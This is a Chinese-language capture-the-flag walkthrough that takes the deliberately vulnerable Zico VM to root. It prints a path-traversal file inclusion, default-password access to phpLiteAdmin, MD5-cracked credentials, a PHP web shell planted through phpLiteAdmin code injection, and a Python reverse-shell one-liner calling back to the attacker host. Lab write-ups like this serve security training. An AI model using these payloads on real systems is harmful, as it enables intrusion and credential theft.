靶场介绍
靶机下载地址:点击进入下载界面
下载.ova文件,在VMware中导入该虚拟机,导入完成后配置网卡,确保与自己的攻击机在同一网段,然后开启虚拟机。
Zico 正在尝试建立他的网站,但在选择要使用的 CMS 时遇到了一些麻烦。 在尝试了一些流行的CMS之后,他决定建立自己的。 这是个好主意吗?
目标:拿到root权限,获取flag
信息收集
打开kali,查看kali的IP地址
目标靶机与kali在同一网段,使用nmap对所在网段进行扫描,探测主机
判断192.168.115.134是靶机的ip,使用nmap对靶机进行端口扫描,可以看到开放了22(ssh),80(http)和111(rpcbind)端口。
rpcbind服务存在漏洞,该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。
在kali中搜索rpcbind相关漏洞,可以看到效果是拒绝服务,这不是我们的目的。
访问靶机开放的网站,界面很简洁
在对页面进行多次点击后,发现一处url如下,有可能存在文件包含
在地址栏将page的值改为../../../../../etc/passwd
,页面展示了该文件的内容,说明确实存在文件包含漏洞
利用dirsearch扫描网站目录,kali安装dirsearch很方便,方法如下:
apt-get update
apt-get install dirsearch
扫描出来了一个貌似数据库管理页面/dbadmin,访问
是一个目录,有个test_db.php文件,点击访问
是phpLiteAdmin的登陆界面,百度下该管理系统的默认密码,查询到默认密码是“admin”,尝试登陆。
通过默认密码“admin”登陆进了数据库管理平台
查询数据库内容,发现了root和zico的用户名和密码,密码格式为32位长度的16进制字符串,很明显是md5值,可以通过一个网站MD5破解尝试得到密码明文
破解完成
root--------34kroot34
zico--------zico2215@
利用该账号密码尝试SSH远程登陆,全部失败
在kali查询phpLiteAdmin有没有可利用的漏洞,结果显示1.9.3版本存在远程php代码注入漏洞,下面进行漏洞利用
在刚才的phpLiteAdmin管理页面创建一个hack.php数据库,再在该数据库下创建一个名称为a的表,一个字段
字段名称为code,默认值为<?php phpinfo();?>
,插入一行内容
访问创建的数据库,页面成功显示phpinfo信息
WebShell
上一步成功显示了phpinfo信息说明漏洞可以利用,将刚才创建的表a删除,重新创建表b,字段名称为code,默认值为<?php echo system($_GET["pass"]);?>
使用kaili监听4444端口
使用python来反弹shell,代码原理详见此博客
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.95.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
将上面的python代码进行url编码后复制到url作为pass的值
回到kali命令行,可以看到反弹shell成功,但此时并不是root权限,此时身份是www-data
当拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当想使用vim、top等命令时,webshell就无能为力了。我们可以通过python进入tty
python -c 'import pty;pty.spawn("/bin/bash")'
在zico的家目录中找到wordpress,这是一个免费开源的建站程序,进行该目录,查看wp-config.php
在该文件中找到了zico的数据库密码
切换到zico用户
提权
使用sudo -l查看zico用户在tar和zip的用户组里面,可以尝试zip提权
在/tmp目录下创建一个空文件
运行如下指令,通过zip运行Linux指令,获取root权限
在/root目录下成功获取到flag